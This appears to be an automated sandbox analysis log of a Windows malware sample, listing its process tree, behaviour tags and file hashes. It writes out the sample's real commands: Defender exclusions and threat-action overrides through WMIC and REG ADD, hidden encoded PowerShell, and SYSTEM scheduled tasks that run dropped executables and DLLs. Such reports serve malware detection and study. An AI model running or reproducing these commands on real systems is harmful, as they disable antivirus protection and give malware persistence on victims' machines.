C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 02:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ochUtLq.exe\" ZO /Kssite_idCgf 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ochUtLq.exeC:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ochUtLq.exe ZO /Kssite_idCgf 525403 /S1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gAqIyDUrX" /SC once /ST 00:43:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gAqIyDUrX"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gAqIyDUrX"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "qXnxKrbPbFSTFetyh" /SC once /ST 00:55:02 /RU "SYSTEM" /TR "\"C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\kkJMLIw.exe\" ob /dBsite_idUAQ 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "qXnxKrbPbFSTFetyh"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\kkJMLIw.exeC:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\kkJMLIw.exe ob /dBsite_idUAQ 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bwrroZoeZRoQVpyAcj"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\OJLDvKxDU\gUDZUd.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ZPVskaMeORyUtyn" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZPVskaMeORyUtyn2" /F /xml "C:\Program Files (x86)\OJLDvKxDU\BKIPaTw.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "ZPVskaMeORyUtyn"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ZPVskaMeORyUtyn"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yrjCurKJXOthHv" /F /xml "C:\Program Files (x86)\jDcnSjPvYahU2\KDGdCWa.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NetXkRqHZJDfE2" /F /xml "C:\ProgramData\mMAjWdbxOIjSziVB\aruDGVn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YkvMZvjGAPbigdKuX2" /F /xml "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\HdqGWZQ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nQHiQOLyvgcbJIDARWU2" /F /xml "C:\Program Files (x86)\qpZxqHvFKXpRC\tIDwgVF.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "EJKQCvUwFyvoZzoaf" /SC once /ST 01:50:07 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\heXdjphsLYtTYYrU\weQzYuVu\ucdBTVu.dll\",#1 /cksite_idEwI 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "EJKQCvUwFyvoZzoaf"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "qXnxKrbPbFSTFetyh"2⤵
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\weQzYuVu\ucdBTVu.dll",#1 /cksite_idEwI 5254031⤵
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\weQzYuVu\ucdBTVu.dll",#1 /cksite_idEwI 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "EJKQCvUwFyvoZzoaf"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\$RECYCLE.BIN\S-1-5-18\desktop.iniFilesize
129B
MD5a526b9e7c716b3489d8cc062fbce4005
SHA12df502a944ff721241be20a9e449d2acd07e0312
SHA256e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
